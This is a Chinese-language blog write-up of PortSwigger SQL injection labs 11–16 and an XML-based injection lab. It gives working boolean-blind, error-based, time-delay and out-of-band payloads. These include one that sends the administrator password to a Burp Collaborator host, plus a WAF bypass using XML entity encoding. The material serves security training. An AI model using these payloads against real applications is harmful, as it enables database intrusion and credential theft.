【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(下)

简介: 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(下)

心得:观察回显的不同(先看字节数)


实验11:带条件响应的SQL注入


part1:

加上

' AND 1=1--

367a3c25c2284f01857013081a7cc610.png


' AND 1=2--


少了一个欢迎回来,而且字节数也少了

说明存在注入点

f126950bf4dc4c78ad55a010689b9695.png


part2:

判单是否存在users表


1. ' AND (SELECT 'a' FROM users LIMIT 1)='a'--
2. 
3. (存在)


a5e40017eddc43eeb7918175f5410adf.png


判断是否存在administrator用户


1. ' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--
2. 
3. (存在)

401f6244e85243e88e186ad6242c91e9.png


判断密码长度


1. ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
2. 
3. (直接跑一下)


86091342c2db4198b09852b3d73cc104.png


46934563f62544d49521ba9554bef686.png



到数字20的时候就不成立了

说明密码有20位


00827bb6f55b487f979b728a01036cab.png


爆破每一个字符的值


' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--

54ab057745154f53861a42a260e85279.png


payload1:

1a3409e0dda645a5bfef03a5bd63cbb4.png

payload2:

8e4ec26709f14fd1bc1eaad664e7d9f3.png


结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

11d0487798d245fe9ae64ae984032d63.png


98l1jlxbm80mk8dfnpmk


part3:

登陆

心得:通过条件判断执行对应语句


实验12:条件判断SQL注入


part1:

单引号报错

baa364e69cea4a87ad6cdd80b3ed9acf.png

2个单引号就正常了

(存在注入点,且为单引号闭合)

37e2465ae41648e281f54b670d2e7682.png

判断数据库类型


1. ' || (select '') || '
2. 
3. (报错,不是MySQL)

d74e12518154489d9ce48e02e85f8f6d.png


'||(SELECT '' FROM dual)||'
(未报错,可能是Oracle数据库)

6aa66f86a6f449ed843fcd12663c0289.png

(再次证明其他无关性,换一个不存在的表报错)

78f2f2e90b65489d8939f69a18ffa83b.png


part2:


1. '||(SELECT '' FROM users WHERE ROWNUM = 1)||'
2. 
3. (rownum=1 防止查询的时候返回多行)

b97a228e0163480aae533f654a1d83b3.png


再用类似上一个实验一样的方法,猜表、用户名,爆破密码


'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
(when的条件成立时,会执行then后的内容,即执行成功1/0报错,若不成立,则返回else后的内容)

cf9ce97bf1af43ada92d5d3cc7ea3681.png


判断是否存在administrator用户


'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
(用户不存在、1=1不成立有一个为fause时候返回200状态码,否则为ture,执行执行成功1/0报错)

793cbb14375c4ee897bbc8b5b66982e0.png


判断密码位数


'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'


d3e8f6fb51f1445ea7b14929597ae0a9.png


cb422028fe564d6085fc72207d88e97c.png


到20的时候就返回200状态码了,说明密码长度为20位

c60ade40bdb145a4a4ce1bc028954902.png


爆破密码


'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

 

34d5aef0e2b94a169ffc821a668ed79f.png


payload1:

cbc046631f02404591bebcb87ff53a28.png


payload2:


755f643a16ce4e86b233988214c2f0a4.png


结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

c3bcfc16efb3495ea1b352becc46103d.png


e8q11s15y9pc8z5b2n78


part3:

登陆


心得:拼接时间延迟函数


实验13:时延盲注


'||sleep(10)--



(几乎没什么时延,不是MySQL数据库)

4841cbd5914e4f048df7210ab635ca05.png


'||pg_sleep(10)--


(时延10s)

10f3e7b8a00d46b7aca1a63a2538ad51.png


心得:通过条件判断语句运行不同的命令


实验14:时延SQL注入


part1:

验证时延语句

1. '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
2. 
3. (延迟10s)

6ad2b85dc6144b45af390a8c7b9ef3ce.png


'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
(几乎无延迟)

eb2be880a0eb4bacaf4ae5dae4bcfc3d.png


判断用户administrator是否存在


'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
(延迟10s,说明为ture,即存在)


0a8da550cef14a6390f40923e6609cac.png


判断密码长度


'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

结果肯定是20位


爆破密码


'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_

da8d35a19c4c4407be5a0f94ba53a371.png


9eac6a310eaa44568ab39b056d61611c.png


30f5416e08274e83b0bb821d9514a6a0.png

结果:


勾选上时间


a52ad254d36c4ff6b8976f61fb9d05fa.png

e7475dfdd30c42aa9d08c997544ded08.png


(我偷偷把延迟时间改为了2s,没想到居然误差有点小大,从大抓准没错)

nnn11iyvkal1dvdwosmr(错了,还是不能缩太短,害)


重新设6s

4492c60a786644738c196a4436cc3002.png


ndkt1iyvkal1svdw0omr(ok了)


part3:

登陆

心得:拼接后将数据带外回显


实验15:带外技术


part1:

e5bde17a05e7485db0013142c1d8e7fa.png

复制后,修改http://后面


'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//iykblv2ne2x9e8fpic4ap9qwinodc2.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

d1983e90a552407884b3d06b4eaa07ff.png


part2:

1a9236a2b32b44e284dc73ad8e8bab97.png

34468bfcbe2d43b4bd5192098883d6ad.png


心得:拼接将数据带外回显


实验16:带外SQL注入


part1:


8aae30e778b94291b79b01f7d21f637d.png


(将划线部分替换为自己的,注入语句夹在了http头和URL之间)


'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.1km5gjbs8t098rhznbrdxtuo5fb5zu.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

part2:


6f8f8fa7ff844b2d9b366ffbd8b8b005.png

3f9055d4dce74defbdb8cd0bb15bdaa6.png


前面这个就是带出的密码


73d777c3da73448b8b5d44845fd88c80.png

part3:

登陆



六、其他类型SQL注入


心得:各种类型与数据库有关的数据交互

示例:
可以使用应用程序作为 SQL 查询处理的任何可控输入来执行 SQL 注入攻击
如一些网站采用 JSON 或 XML 格式的输入,并使用它来查询数据库。
这些不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。弱实现通常只是在请求中查找常见的 SQL 注入关键字,因此您可以通过简单地编码或转义禁止关键字中的字符来绕过这些过滤器。
如以下基于 XML 的 SQL 注入使用 XML 转义序列对 中的S字符进行编码
<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>
将在传递给 SQL 解释器之前在服务器端解码
漏洞识别:
1、请注意,库存检查功能以 XML 格式将 productId和 storeId发送到应用程序。
2、将POST /product/stock请求发送到bp中继器。
3、在 Burp 中继器中,探测storeId 以查看是否评估了您的输入。例如,尝试将 ID 替换为计算结果为其他潜在 ID 的数学表达式,例如:
<storeId>1+1</storeId>
4、观察您的输入似乎由应用程序评估,返回不同商店的库存。
5、尝试通过将语句追加到原始存储 ID 来确定原始查询返回的列数:UNION SELECT
<storeId>1 UNION SELECT NULL</storeId>
6、请注意,请求由于被标记为潜在攻击而被阻止。
绕过 WAF:
1、在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities。
2、重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。
漏洞利用:
1、从上次中断的地方继续,并推断查询返回单个列。当您尝试返回多列时,应用程序将返回0 units ,这意味着错误。
2、由于只能返回一列,因此需要连接返回的用户名和密码,例如:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
3、发送此查询并观察是否已成功从数据库中获取用户名和密码(用字符分隔)。~
4、使用管理员的凭据登录并解决实验室问题


7d62be979184459ab44139ed85f387fe.png

目录
相关文章
|
1月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
116 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
61 5
|
28天前
|
SQL 存储 数据库
实验4:SQL视图操作与技巧
在SQL数据库管理中,视图(View)是一种虚拟表,它基于SQL查询的结果集创建,并不存储实际数据,而是存储查询定义
|
28天前
|
SQL 存储 数据库
实验4:SQL视图操作技巧与方法
在数据库管理系统中,视图(View)是一种虚拟表,它基于SQL查询的结果集创建,并不实际存储数据
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
108 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
46 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
44 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
83 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
46 5